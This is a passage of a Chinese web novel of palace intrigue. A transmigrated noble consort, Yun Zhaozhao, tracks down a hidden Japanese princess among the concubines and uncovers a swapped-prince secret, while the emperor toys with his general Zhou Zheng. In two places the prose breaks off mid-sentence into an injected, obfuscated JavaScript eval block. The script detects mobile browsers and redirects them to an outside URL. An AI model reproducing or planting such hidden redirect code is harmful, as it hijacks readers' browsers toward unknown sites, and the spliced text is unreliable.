“可是明彰,”赵昶颇有点语重心长地说,“你可知道如今你的‘风流史’已经在整个京城传遍了,今早云琛那老家伙手下那群书呆子一逮到机会就弹劾你私生活不检点,行事铺张奢靡,那折子简直就像雪片似的往朕这养心殿递……你让朕怎么办,朕也为难啊……” 周徵有些迟疑地看着赵昶,他张了张嘴,却没有吭声。 赵昶又说:“况且这事儿既然能传到朝堂,就也能传到京中的贵女们耳中。朕将来再想给你安排一门好的亲事怕是也不成了……” 说到这里赵昶露出为难的面色,继续道:“方才你又说拒绝纳妾,所以朕思来想去,为了你的声誉,为了彻底堵上那群言官的嘴,只有将那位名叫明姝的青楼女子说成是你的心上人,委屈你娶她为妻了。” “!!!”周徵猛然抬头,眼中惊愕万分。 但还没等他说话,赵昶又笑着开口道:“不过你是朕的武安侯,是朕从小到大陪在朕身边的兄弟,朕怎么能让你的正妻是一名青楼女子呢?” “朕想起朕的伯父长阳王曾有一女年幼时走丢,而你周徵此去醉仙楼,就是为了打听长阳王爱女下落,恰好这明姝就是长阳王失散多年的女儿。于是,为嘉尚你替朕寻回堂妹,朕下旨封明姝为昭阳郡主,赐婚予你。” “所以朕方才已让汪海等人去醉仙楼召明姝进宫,朕要亲自见见朕这位‘失散多年的堂妹’。怎么样,明彰,朕的安排如何?” 赵昶眸中满是笑意,仿佛他方才轻描淡写所说的,乃是一桩顶天的特大喜讯。 但在他身边随侍了那么多年的周徵却清楚,赵昶真正高兴时,绝不会是这样完美无瑕的笑。 况且,宫里向来忌讳重了名讳,他封长阳王的“女儿”为昭阳郡主,恐怕是有意为之的。 昭阳郡主,昭阳殿,周徵的眸中飞快地闪过一丝慌乱。 难道他已经什么都知道了? 那他这般试探又是何意? 周徵深深吸了一口凉气,浑身的肌肉都紧绷着。他清楚,接下如若说错一句话,无论是对他还是对云昭昭都将是万劫不复。 “陛下,还请陛下收回成命。”周徵尽量平静地说,可他不知道的是,他刚才的神情波动早已被赵昶尽收眼底,令他十分惬意。 “臣这一生,为赎罪而活,能侍奉在陛下左右已是天大的福分,断不敢再奢求别的,娶郡主为妻。臣今生唯一的愿望,就是做陛下手中之剑,替陛下斩奸除邪,守护万里河山。” “那你的那位心上人?你就愿意这样放下了?”赵昶半眯着眼问。 “就算没有臣,她也另有良配。”周徵道,“有的是人愿意将她捧在手上,挂在心头……” 他说这话的时候,鬓边的几缕头发垂下,将他的眉眼笼罩在了阴影中,显得格外的落寞。 赵昶终于不太忍心继续就着这个问题继续逗弄他,便悠然地转换了话题。 “对了,你之前说东瀛不足为惧,只是什么来着?把你没说完的话接着说下去。”他命令道。 周徵愣了半晌,终于回过神来,转而恢复了镇定与严肃,只是声音相比之前有些虚弱微哑。 “臣、臣方才想说,外夷险恶,怕就怕他们打的是釜底抽薪的算盘……” 他这么一说,赵昶一改前态,立马来了兴致,问:“什么釜底抽薪?” 周徵迟疑片刻,斟酌着说:“臣怀疑那东瀛公主是后宫之人,恐会对陛下不利……” “你是说朕的爱妃中有人是东瀛人?”赵昶突然发出一声嗤笑,说,“可朕的后宫嫔妃,谁不是父兄俱在朝中,都是知根知底的,怎么会有人是那东瀛的公主?” 赵昶眼中尽是戏谑之意,他说完顿了顿又道:“况且釜底抽薪?朕身边有你,有锦衣卫,还有八千禁军,她一介女流,还能将朕掳了去当人质不成?真是笑话!” 虽然他态度狂妄,但周徵也一直有同样的疑虑,宫中戒备森严,且赵昶也不是手无缚鸡之力的人,东瀛人为何能这般自信地将最关键地一步棋压在绑劫大周皇帝身上呢? 难道说,这所谓的釜底抽薪,除了他理解的“挟天子以令诸侯”外,还有别的意思? 周徵沉默了片刻,又犹豫再三,最终还是决定向赵昶谏言道: “陛下,虽说对方这步棋尚不清楚,但臣以为当前京中波诡云谲,陛下不应再让朝堂掀起风云,之前同云家的恩怨需暂且放下,一致对外才是。” 周徵垂眸说完,等了许久,没有等来赵昶如同往常那般的盛怒,反而等他抬头时,发现赵昶正目不转睛地盯着自己,似在权衡利弊,也似在怀疑他说出那一番话的动机。 过了一会儿,只听赵昶凉凉地开口问道:“你之前说你跟随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214842|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那两个东瀛人,在醉仙楼偷听到了他们的密谋,当时那个汀雪也在场。朕不是同意云贵妃去调查了吗,你可知她那边调查出了些什么?” 周徵心知这是赵昶的试探,便谨慎地回答道:“陛下已差了御马监提督薛炼辅助贵妃,他们有什么进展,臣也不大清楚。” 赵昶闻言,只略略点了点头,没再多问,反而关心了一下周徵对京中四大营的操练进度。 周徵如实禀报。 谁知赵昶听后却说:“明彰,练兵千日,用在一时,这次若是突厥真要侵犯我大周,便是检验你练兵成色的时候。不过你从小在京城长大,没有在漠北带兵打仗的经验,到时候朕会安排赫连海去。” 周徵动了动唇,还想争取,却被赵昶一句“朕留你在京城还有别的用处”给打发了。 他终于发现,从不知道什么时候开始,赵昶已经渐渐地不再信任他了。 他僵着身子缓缓起身,一句简单的“谢陛下”卡在喉咙里,明知道该说,却怎么都说不出口。 正在这时,汪海风尘仆仆地进殿内向赵昶禀告,说是前往醉仙楼去要人,那老鸨却说花魁明姝早就跟着武安侯走了。 原来,赵昶所谓派汪海等人召“明姝”入宫不只是说说而已,他是真的那么做了,甚至还做在召见他周徵之前。 周徵的双腿顿在原地,仿佛有一盆寒意砭骨的冰水悬在他的头顶,将他浇了个彻底。 谁料赵昶却笑着对汪海说:“既然武安侯爱金屋藏娇,那便由他去吧。” 说完他命汪海去准备一下今晚的翻牌子,完全无视了杵在一旁的周徵。 汪海见到周徵被晾在一旁,完全弄不清楚今日自己那位喜怒无常的主子是要唱哪出戏,只好给周徵递了个眼色,小心翼翼盛满后宫众嫔妃绿头牌的金盘端至赵昶面前。 “陛下今日要去哪位娘娘那儿?”汪海一边问着,一边似是无意地提了一嘴,“奴才听说荣嫔娘娘今儿个专门找了尚食局的司膳,用陛下前日赏的鹿尾,亲自学做了鹿尾糕。” “荣嫔倒是心灵手巧,只是朕已一连去了延禧宫数日,为了后宫安宁,朕也该雨露均沾才对。” 汪海只好悻悻地连连称是,将荣嫔的绿头牌从盘子中间搁到了一边的角落里。 赵昶挑了一番,也不急着翻拍,只瞥了一眼一旁还未离开的周徵,忽然不悦道: “怎么回事,朕这后宫的绿头牌怎么少了一块?” 面对主子的责难,汪海一下子懵了,可谓丈二的和尚摸不着头脑。 他又仔细数了又数,寻思着平日里不就是这些牌子吗?赵昶后宫人又不多,怎么可能还会少了一块牌子? “瞧你这副呆样儿,以后还怎么在朕身边伺候?”赵昶边骂便点醒他,“朕是问贵妃的牌子怎么没放进来?” 他后半句话特意抬高了声调,既像是在责备汪海,又像是为了别的目的。 汪海愣了好一会儿都没反应过来。 陛下明明很早之前就特地吩咐过,以后都撤掉云贵妃的牌子,怎么今日突然又问起来了? 不过汪海能很快地干到今日这位置上,那看人下碟的眼色与随机应变的机灵劲儿自然是拿捏得炉火纯青,比起他干爹汪厚更是青出于蓝胜于蓝。 他当即回过神来,赔笑着说:“哎呀,陛下,都怪奴才粗心大意,前段时间罚了贵妃娘娘禁足,撤了她的牌子,现在倒忘了放回来了。” 说着他又捏着兰花指,扇了自己几巴掌,道:“奴才这就去安排去!” “够了,牌子后面补上便是。今日就直接传朕的旨意,通知云贵妃侍寝。”赵昶含笑道。 很明显,他的这道旨意是对着汪海下的。 可说这句话的时候,他看向的人,却是周徵。 68. 真相 另一边的昭阳殿内。 云昭昭头一天好不容易打发走了荣嫔,回到殿内,脱下衣服后,身上的伤痕让流霜见了都“啊”地一声惊叫起来。 尤其是小腹处的淤青,堆在腹部最柔软的位置,青紫一片,渗着星星点点的血迹,看上去触目惊心。 “小姐,你……你这次出宫到底都经历了些什么啊?!”流霜心疼不已,用丝帕沾了温水轻轻地擦拭着淤青处。 “嘶——” 伤口被碰到,云昭昭立刻疼得呲牙咧嘴,之前她就怀疑被那大个子的流浪汉踹得出了内伤,只是当时在醉仙楼里既有更要紧的事,又不便就医,只得强行忍着。 那疼痛忍得久了,也就渐渐麻木了,后来好不容易脱困,但碍于在周徵府内,她也不好意思检查,如今回到自己的昭阳殿,在流霜的帮助下,从里到外地换了衣服,她这才发现自己伤得不轻,甚至下1身还流了不少血。 流霜又气又急地说:“小姐,你说,是不是那武安侯在宫外欺负你了?让你伤成这样!我这就去请太医来!” “别去!”云昭昭立马拦住她:“没有的事,我确实受了伤,但和他……关系不大。” 深夜去请太医本就引人注目,况且她的伤还来的不明不白的,这不就是给人白白地递话柄去吗。 云昭昭思索片刻后吩咐道:“这样,你明天差人给家里去个信儿,让我娘安排一个信得过的,嘴巴严实的女医进宫来帮我瞧瞧。” 随后,在流霜的再三坚持下,云昭昭只得依着她用热水敷了敷小腹。这一敷倒是不要紧,到了半夜她拥着软绵似云的锦被,才更觉得那灼热的痛感像是钝刀子割肉一般,一下下地凌迟着她的皮肤,从那一处扩散到五脏六腑,再蔓延至全身各处。 一夜无眠。 第二日一早云昭昭便用脂粉遮住了黑眼圈与疲态,向流霜打听道:“我不在宫里的这段时间,各宫的嫔妃中,有哪些人来找过我?” 流霜不知其然,只好一五一十地说:“小姐,除了昨日一早荣嫔来过外,就只有易常在与晴妃来过。” “易常在与晴妃?”云昭昭一双凤眸倏然一亮。 “是,易常在是两日前来的,她说自己亲手又做了些点心,想来找小姐聊天……至于晴妃,她是差太她身边的宫女来问的,不知道是为了何事。” 云昭昭心里已有了想法,点头道:“我知道了。” “小姐,你突然问这个干什么?难道她们有什么问题?”流霜好奇地问。 想到此事毕竟也与汀雪有关,云昭昭便没打算瞒着她,只将自己在宫外的经历,选了些跟汀雪有关的,告诉了她。 流霜一听,大惊失色道:“那、那丫头竟然是东瀛人?!” 说罢她又义愤填膺地自言自语道:“我就说嘛,小姐和夫人从小待她这么好,她怎么能恩将仇报?!现在知道她是东瀛人就说得通了!东瀛人本就是一群狼心狗肺的穷凶极恶之徒!” 云昭昭被她逗笑了,提醒道:“那东瀛公主我怀疑就是后宫某个嫔妃,所以以后只要在宫里,就务必得小心点,这里一点儿都不安全。” “还说我呢,小姐,你才是最要小心的那个人!”流霜担心地说,“以后流霜更不能小姐身边半歩了!” “哟,难道你就一辈子跟着我在宫里?不嫁人了?可惜我连嫁妆都给你准备好了,只等你出嫁的时候给你个惊喜呢!” 流霜闻言羞得脸色通红,鼓着腮帮嗔道:“不嫁不嫁!小姐就知道拿流霜寻开心!什么嫁妆我都不要!我就要一辈子陪在小姐身边,保护小姐。” 云昭昭既感动又好笑,又打趣了流霜几句后,吩咐她将之前汀雪晒的那些桂花茶全部拿出来,用精致的小银盒分装好。 “小姐这是要做什么?” “这桂花茶只是个幌子,”云昭昭解释道,“我是想借着这送东西的由头,亲自去拜访一下各宫嫔妃,估计就能确定谁是那东瀛公主了!” 于是她早膳后就带着流霜与玉绯二人前往各宫“送礼”。 霍婕妤的长乐宫紧邻昭阳殿,所以云昭昭一行第一个拜访的就是霍婕妤。 可惜因为赵昶对云氏同党的忌惮,她的弟弟霍纪安如今还未官复原职,仍赋闲在家,而那日霍老太爷入宫求情被晾在太阳下曝晒,虽性命无忧,但回去后还是病了一场。 因此霍婕妤对云昭昭的贸然到访依旧没有什么好脸色,甚至态度比起之前云昭昭禁足时还要更差了。她明里暗里将云昭昭连同云琛骂了一通后,就下了逐客令,气得流霜当场就要和霍婕妤的大宫女绣春吵起来,还是云昭昭及时制止了她。 如此一来,霍婕妤性情耿直,又心系父亲胞弟,自然不可能是东瀛公主,所以第一个被排除了嫌疑。 而她的寝宫不远处就是荣嫔的延禧宫,荣嫔昨日才见过,云昭昭懒得再去拜会她,况且以荣嫔的行事作风,绝不可能是那心思缜密,步步小心的东瀛公主。 云昭昭下一个拜访的,是兵部尚书贾尉之女,贵嫔贾珂儿。 一到月华殿,贾珂儿听说她来了,便亲自到门口相迎,礼数十分周全。 “云姐姐,今日怎么亲自来了?”贾珂儿热络地挽着云昭昭道,“方才奴婢们不懂事,没有怠慢着姐姐吧?” “没有,本宫今日来,是想着快入冬了,正好之前差人晒的桂花茶到了味道最好的时候,便送来给妹妹尝尝,再回味回味那秋天的味道。” “云姐姐真是太客气了,这么小的事哪还能劳驾姐姐亲自送来,您只要让人打个招呼,妹妹就亲自去给姐姐请安。” 贾珂儿说着,突然面露戚然之色,有些抱歉地说: “云姐姐,如今陛下有心要培养自己的亲信,我爹在朝中已是举步维艰,之前因为阁老的事情霍侍郎被革了职,爹爹整日忧心却也无能为力,你不会怪他吧?还有之前你被禁足的时候,我和爹爹也都很担心,本想让劝陛下看在阁老份上对姐姐网开一面,但妹妹人微言轻,又不得陛下宠爱,也是心有余而力不足。” 她容貌秀美,声音轻柔,话也说得周全,那愧疚的语气,让人听了不免心生怜爱,但云昭昭很清楚,她哪里是人微言轻,贾家又哪里是什么心有余而力不足? 自从自己与云家出事以来,贾家便没有任何行动,虽然明面上是碍于身份,不好再给赵昶对云党不满的这把火上添油加柴,但实际上,云昭昭和云琛都很清楚,贾家是在明哲保身,有了要与云家割席的样子。 不像霍家,霍纪安为了替恩师申辩,在朝堂上一连数问呛得赵昶哑口无言,火冒三丈,连官职都可以抛下。 这也是为什么云昭昭刚才面对毫不客气的霍婕妤,依然能冷静自持,甚至还由着她骂的原因。 而对上贾珂儿这浮于表面的“担心”,云昭昭也只好虚与委蛇,在月华殿与贾珂儿唠了好一会儿家常。 结果她发现,贾珂儿虽然很有一番心计,也善于伪装真实的自己,但她却与贾家联系颇深,与其父兵部尚书贾尉为人行事就像是一个模子里刻出来的,都是滑不溜秋的泥鳅。而且她还是家中嫡长女,母亲又得势,自幼便是妹弟们的表率,所以不太可以是东瀛的公主。 云昭昭告别了贾珂儿,离开月华殿,最后只剩下宋修媛、晴妃与易琉璃三人还没有拜访。 虽然周徵觉得易琉璃可疑,但云昭昭心里还是千般万般不相信易琉璃会是那样的人,于是她又暂且将易琉璃排除在外。如此,有可能是那东瀛公主的,就只剩宋修媛与晴妃了。 云昭昭一面想着,一面沿着积满落叶的小径朝宋允君所住的披香殿走着。 这里处于御花园的西南角,已是宫中较为偏僻的所在,两旁的腊梅茂盛地沿着墙根生长着,结着花苞的枝丫长得已经戳出了红墙外,深秋的枯叶落了满地,却也不见人打扫,只堆在石板路上,慢慢地腐烂,零落成泥。 好不容易到了披香殿门口,却见宫门紧闭,云昭昭让玉绯前去叫门,叫了几次,又等了好一会儿,才见一个洒扫的小宫女探出头来,将三人打量了一番,警惕地问:“你们是什么人?来找我们娘娘作甚?” “什么什么人!这是云贵妃!”玉绯对她的无礼很是不悦,“我们娘娘今日特地来给宋修媛送桂花茶,顺便拜访你们修媛。” 这名洒扫宫女一听,立刻变了脸色,有些结巴地说:“我们、我们娘娘,她……” 她还未说完,就听到里面传来一个严厉的女声:“绿竹,还不快去扫你的院子,在门口鬼鬼祟祟的干什么呢!是有什么人来了吗?” “是、是,书桃姐姐。”那叫绿竹的小宫女说,“是云贵妃娘娘来拜访咱们娘娘。” “知道了,快去扫你的院子,叶子没弄干净可要罚你的月钱了!” 绿竹闻言,如蒙大赦,堪堪行了个礼便一溜烟儿地跑了。 云昭昭心里觉得蹊跷,正好这时,那名叫书桃的宫女前来开门。她是现在宋修媛身边的大宫女,接替的就是之前逐月的位置。 开门后,书桃有些抱歉地对云昭昭说:“贵妃娘娘,请恕罪,我们修媛娘娘正卧病在床,不便见人。” 云昭昭和流霜立刻默契地对视一眼。 之前她出宫的时候,流霜也正巧用的是同样的借口,打发了来访的人。 谁知书桃又立刻笑着补了一句:“娘娘她最近染上了风寒,昨夜因为发烧头疼,更是一宿没睡,请了太医院的许太医来之后才好了些,现在才刚刚睡下。若是贵妃娘娘不急,可以进殿内歇着等娘娘睡醒。” 书桃的这番话不可能是撒谎,因为许太医有没有来为宋修媛诊治过,一查便知,太医院的脉案是骗不了人的。 这也是云昭昭小腹的伤口为什么宁愿要从宫外找女医,也不叫太医的原因,就是因为怕在脉案上被人看出端倪。 如此一来,云昭昭只好说自己是来给各宫送桂花茶的,不便再去叨扰宋修媛休息。 她命玉绯将茶盒交给书桃后,就沿着来时的那条小径,准备绕道至晴妃所居的翊坤宫。 可就在她们三人慢悠悠地走到披香殿后门时,忽见远处,两名身披青灰色斗篷的女子,正左顾右盼,小心翼翼地朝着这边走来。 云昭昭心知有异,连忙眼疾手快地拉着流霜与玉绯,躲在了墙角处两棵高大的梅树后。 只见那两名女子到了披香殿的后门,谨慎地看了一下四周,随后敲了敲门。 很快,书桃亲自过来开了门,两名身披斗篷的女子这才终于掀开了厚重的斗篷兜帽。 其中一人,便是书桃口中“卧病在床”的宋修媛。 如此看来,她所谓的“病”也是托辞。 云昭昭三人离开披香殿后,流霜忍不住问道:“小姐,不会就是她吧?宋修媛风尘仆仆的模样,一看就是整夜未回宫。” 云昭昭心里颇有些疑虑,她虽然与宋允君不熟,但她始终觉得宋允君与自己想象中的东瀛公主的形象相去甚远,说不定她是有其他缘由。 但她在这个时候彻夜离宫,本身就大大增加了她的嫌疑。 云昭昭不敢妄下定论,只带着两名下属往翊坤宫走去。 翊坤宫内,独孤晴正在桌案前练字,她身着一袭月白色织金长裙,外面披了一件白狐短褂,显得婉约清丽。见到云昭昭来了,她将毛笔一搁,上前施施然行了个礼。 “见过贵妃娘娘。” 她的态度不卑不亢,礼数恰到好处,云昭昭命流霜将桂花茶拿了出来,说道: “这是之前我身边那宫女汀雪亲手晾晒的桂花茶,便想着给各宫送来尝个鲜。汀雪一向心灵手巧,这桂花是她专门取了昭阳殿内那十几株桂树上开得最好的,收集起来,再用凌晨桂花上的露水三蒸三晒,晾干了和上好的君山云雾一起封装在坛子里窨出香味制成的。” 流霜听后,有些惊愕地看向云昭昭,这是她第一次如此详细地介绍这桂花茶的工序。 而独孤晴闻言眸光微动,淡淡一笑,谢过道:“多谢贵妃娘娘厚礼,娘娘送的东西自然是好的。晓珠,你将这茶取一些来泡上,其余地好好收起来。” 云昭昭有些惋惜道:“可惜,本宫那心灵手巧的汀雪如今被奸人陷害,惨死在了宫正司中,如今看到这茶,睹物思人,本宫还怪舍不得的……” 独孤晴听了后,也一同感叹道:“早就听闻汀雪被关在了宫正司,本宫也十分关心娘娘的处境,如今看来,娘娘是已经洗去了冤屈了?” 云昭昭点点头道:“正是,只是那背后将这一切嫁祸本宫的元凶也不知道是谁,只可惜了汀雪,从小在本宫身边侍奉,本来还想将来为她找个好人家,把她当做妹妹一样风风光光地出嫁,如今也是不能够了……” 说到这里,云昭昭竟然装模作样地触景生情,留下了几滴泪来。 流霜在一边看在眼里,心想原来晴妃居然是云昭昭最怀疑的对象。 她无所事事地站在一旁,环顾四周,看着翊坤宫里来来往往的宫女,半点不见汀雪的影子。 不过想来也是,汀雪就算是晴妃的人,也怎么可能大喇喇地出现在众人面前。 流霜一边想,一边把玩着手里方才在外面捡到的几颗松果,掰着里面的松子。掰完一颗后,她便随手将松果往窗外的花坛里一扔。 谁知她手不稳,那枚小小的松果直接歪歪地砸在了寝宫大门处的帷帐上。 只见那淡蓝色的帷帐摇曳着,竟露出了帷帐后的一双脚。 那帷帐后面分明躲着一个人! 流霜的心跳得极快,但她很快镇定下来,没做声张,只是时不时地往那层层帘幕后看去。 不一会儿,晓珠端上热腾腾的桂花茶,晴妃接过后便放在手边,等云昭昭喝了一口后才跟着品了一小口。 云昭昭看在眼里,也不戳破,只说道:“话说回来,本宫生病那两日里,听流霜说晴儿差人来找过本宫,是为了何时?” 晴妃抿了一口桂花茶,笑着说:“没什么,只是之前在赏菊宴上看娘娘似乎对于射覆这类游戏颇感兴趣,那天无聊,便想着叫娘娘一起来打牌,当时正好易常在与陛下也在场。” 云昭昭点了点头,直呼可惜。两人又一边喝茶一边东拉西扯说了会儿话,云昭昭突然想到什么,问道:“对了,晴儿从小在独孤将军身边,也是在岭南那边长大的吗?” “正是。”独孤晴答道,对云昭昭这个不明不白的问题颇感疑惑。 云昭昭点点头,“本宫只是突然想起,从未听说过令堂的名字。” 独孤晴眸中透出怅然之意,有些难过地说:“那时大周与东 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247309|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瀛鏖战多年,岭南一代不少百姓流离失所。母亲也只是一名普通的流民,被父亲所救,生我的时候难产而去了。” “独孤将军这么多年一直再未续弦,想必两人很相爱吧。”云昭昭说。 独孤晴抬头,眼中一片茫然之意,片刻后才点了点头,悲戚道:“想必是的,可惜,连我也没见过母亲的样子。”说着忍不住流下泪来。 云昭昭有些抱歉地说:“不好意思,本宫只是突然想起汀雪好像也是岭南人,此番她去世,本宫想在家乡替她立个衣冠冢,我们好歹主仆一场,也算是送她魂归故里了。” 在她说这番话的时候,流霜的余光分明瞥见了不远处的帷帐轻轻动了动,若不是她刚才歪打正着发现那后面有人,此刻也只会觉得是风吹幡动罢了。 很快,云昭昭向独孤晴告辞。出了翊坤宫,走到御花园里,流霜瞧着四下无人的时机,将刚才在殿内所见小声告诉了云昭昭。 这下几乎可以确定独孤晴就是那日在醉仙楼里遇到的东瀛公主了。 云昭昭当即连翠微宫都来不及去,只吩咐了玉绯将最后那盒桂花茶送去给易琉璃,自己则与流霜一道,火急火燎地赶回昭阳殿。 她立刻遣了身边一名最机灵的小太监小卓子,拿着太后给的出宫令牌,前去把周徵寻来。 结果他这一去便是两个时辰,云昭昭一直等到午膳过后,还小憩了一会儿,仍不见他返回。 正在她和流霜怀疑小卓子不可靠的时候,她早上递信儿让柳氏安排的女医到了。 这名女医姓杜,年龄约莫三十岁左右,生得其貌不扬,却举手投足间颇有悬壶济世的名医风范。 她说自己的父亲乃是关中一带有名的郎中,家里祖辈往上数五六辈都是当地有名的医者,到了她这里不仅继承了父辈的衣钵,在妇科千金杂症上也颇有些经验与心得。 此外,这位杜大夫还带来了柳氏替云昭昭打听到的汀雪的消息。 据那位曾经在养济院里负责生火做饭的妇人张氏所言,汀雪到了养济院里就与其余的孩子不同。她沉默寡言,十分不合群,常常一个人待在角落里,因此也经常受其他孩子的欺负。 张氏一开始还以为这孩子是个哑巴,直到后来偶然的机会,她才发现这个瘦小的女孩开口竟然是她听不懂的话。那时京中的养济院除了岭南一代的流民最多外,还汇聚了来自五湖四海的流浪者。张氏便以为是自己孤陋寡闻,汀雪说的乃是她所不知道的一种方言。 不过后来时间久了,汀雪也渐渐学会了大周各地通用的官话,再后来,她便被云家母女买走,带回了府中。 云昭昭很快便看完了柳氏给自己的这封信。 虽然信来得有些晚了,她已经知道了汀雪的来历,但信上的内容还是能作为佐证证实汀雪的故乡是东瀛。 云昭昭看完后收好信纸,坐在妆台前的软凳上等着杜大夫给自己看诊,身边伺候的宫人都被她早早地打发了,只有流霜留在这里,好从旁辅助。 杜大夫先是仔细查看了一下云昭昭小腹上的淤青,接着又替她号了号脉,最后竟摇着头,满脸愁容地说: “女子此处本就是最柔弱之地,也是孕育新生之处,日常连寒气都受不得太多。娘娘此番遭歹人所伤,伤及了根本,又没有及时医治,还受了凉,寒气已浸入骨子里了,恐怕今后……” 说到这里她欲言又止,似是十分为难地在斟酌着话语。 云昭昭已经猜到她想说什么。 “恐怕什么,你直接告诉本宫便是,本宫这次能捡回一条命,已是万幸,其他的一切,本宫也已看得淡了。” 杜大夫这才磕磕绊绊地说道:“娘娘今后,恐怕是……恐怕是难以有孕了。” 流霜听后一阵惊呼,几乎快要哭出来了。 但云昭昭却显得很豁达,她作为一个现代人,对生育一事一直是抱着优生优育、慎重再慎重的态度。 古代生育条件堪忧,且如今她身为贵妃,也没有什么值得牵挂,托付终生的对象,所以能不能生育对她将来都没有任何影响,她唯一所念所想的,便是能承欢于云琛与柳氏膝下,陪他们颐养天年。 “可是杜大夫,我们娘娘还这么年轻……有没有什么可以补救的法子?”倒是流霜在一边替云昭昭着急。 杜大夫想了想,叹了口气,有些为难地道:“妾身也只能略尽些绵薄之力,先替娘娘施针,将淤血花了,后面只能慢慢调养,将体内寒气引出,再之后,便只能看天意了……” “那便依杜大夫所言吧。” 流霜见云昭昭如此不当回事儿,急得直跺脚:“娘娘,你说什么呢!可你将来要是不能……那可怎么办!你得为自己打算呀!要是不行,咱们就再请太医来看看。” “请太医?那岂不是要让整个宫里的人都知道我身子不好一事?”云昭昭说着,莞尔一笑道:“况且子女之事,本就是天意,靠的也是累世的缘分与功德,有没有也不是个人说了算的。杜大夫尽力就好……” “是。”杜大夫行医多年,头一次见云昭昭这般豁达的人,忍不住夸赞道,“娘娘聪慧通透,令人敬佩,说不定您福泽深厚,好好调养后还是会有的。” 云昭昭只笑笑,不再言语。 自己穿书的这原身,是书里顶顶大名的恶毒女炮灰,要不是靠她知晓书中剧情,又拼着那股子不服输的劲儿,根本不可能活到现在。 而且她苦苦支撑到现在,也是步步惊心,前路未卜。 这样的命运,哪来的什么福泽? 杜大夫的施针用了约莫一炷香的时间,完事后她留了个方子,嘱咐流霜每日为云昭昭按方煎药,并将注意事项一并说明。 “除了需要长期服药外,娘娘在日常的起居与饮食上还得时刻注意,不能着凉,饮食上少碰寒凉之物,如螃蟹,各种瓜类,还有芦根水、菊花茶等清热泻火的茶饮……” “等等!” 云昭昭立刻想到了一事。 “你说芦根水?!” 杜大夫一脸茫然,不知云昭昭为何专门将芦根水挑出来询问,只好解释道:“是,芦根水。正常情况下,芦根水清热泻火、生津止渴、润肺排毒,是很好的东西。只可惜娘娘体内寒气太重,芦根水的寒凉又远胜菊花茶,所以娘娘千万不能喝……” 云昭昭回忆着在醉仙楼里听到的圣鸾宫那本膳事记录上的内容,忙不迭地追问道: “那,杜大夫您可知道,若是刚满月不久的婴儿腹泻吐奶,喝了芦根水是否两日就能治好?” 谁知杜大夫脸色一变,严肃地驳回道: “这怎么可能,芦根水性寒,饮用不当便会致使脾胃虚寒,婴儿脾胃本就虚弱,腹泻吐奶再喝芦根水,不就是要其性命吗?!” 听了杜大夫的话,云昭昭终于明白为什么当时汀雪与公主对这芦根水提出了质疑。 但她还是想不明白,为什么太子服下芦根水后,本该病情加重,却隔了两日后奇迹般地好了。 难道是,这里的记录出了错,不是芦根水? 这是一种可能。云昭昭思索道。 但若是芦根水没记录错,那问题肯定出在了太子身上…… 想到这里,某个念头油然而生,它宛若一记惊雷,给了云昭昭哐当一击。 69. 侍寝 云昭昭脑子里乱成了一团麻,她努力回忆着乾元六年八月初四那日的膳事记录。 毫无疑问,从之前太后得知这日的膳事记录被人撕去后的表情,就可以看出,这里面一定隐藏着极其重要的秘密。 她再次将之前听到的记录内容梳理了一通 “后同武安侯夫人林氏于云台寺静养,及至三更子时,太子忽下利呕乳,太医久候未至,后体羸,忧甚……” 这里只是说当时刚满月的太子腹泻吐奶,这在新生儿中似乎也算不上什么严重的病,只是古代医术有限,且又不是在宫里,加之太子承天命所生,身份贵重,所以周围的人格外小心谨慎。 这前半段内容大概是没有什么问题的,那唯一有问题的就只有这后半段内容了。 “时林氏进曰:‘妾家传有古方可治小儿其疾。’遂命圣鸾宫膳事女官煮芦根水以进太子。越二日,太子遂瘳……” 很明显,芦根水会让太子的病情加重,但不懂医术之人更多,所以林氏所谓的“古方”才能成功骗过那么多人。 所以,林氏一开始就是蓄意要谋害太子?但既然如此,记录应该是太子腹泻的症状更甚才对,为何两天后又好了呢? 如果林氏并不是蓄意要谋害太子,万一她只是记错了芦根水的功效,亦或是将其它植物泡的水记混成了芦根水呢? 想到这里,云昭昭不觉一个激灵。 刚才那个如惊雷一般的念头终于拨云见日地全然展现了出来…… 她记得原书中提到昭文皇后与武安侯夫人时,曾强调过二人是义结金兰的好友。两人是先后生下的儿子,因此后来二人也是带着襁褓中的儿子一同在云台寺修养。 也许,林氏在太子服下芦根水后不久就发现其症状更严重了,为了遮掩自己的错误,她干了一件在史书中要遭受天谴的事——狸猫换太子。 之所以太子服下芦根水后还能痊愈,是因为,真正的太子,已被林氏用自己的儿子掉了包…… 只听“啪嗒”一声,云昭昭手中的白瓷茶盏落在地上,摔了个粉碎。 她却浑然不觉,像是灵魂出窍般噌地一下从座位上站起,把一旁的流霜吓了一大跳。 “原来如此!原来如此!”她口中喃喃念道。 流霜一边去捡地上的碎瓷片,一边忧心忡忡道:“小姐,你、你这是突然怎么了?可仔细着点儿,便被这瓷片划伤了脚!” 云昭昭一双明媚凤眸瞪得老大,她忽然蹲下,抓住流霜的胳膊问道:“你还记不记得,中秋夜宴的时候,当时查出来,尚食局与逐月有勾连的那名女官叫什么来着?” 流霜被她的举动搞得一脸莫名其妙,却还是认真回忆了一番,回答道:“好像是姓王,王司膳……” “对!”云昭昭说,“是她,就是她!当年在场的那名膳事女官,多半就是她!” 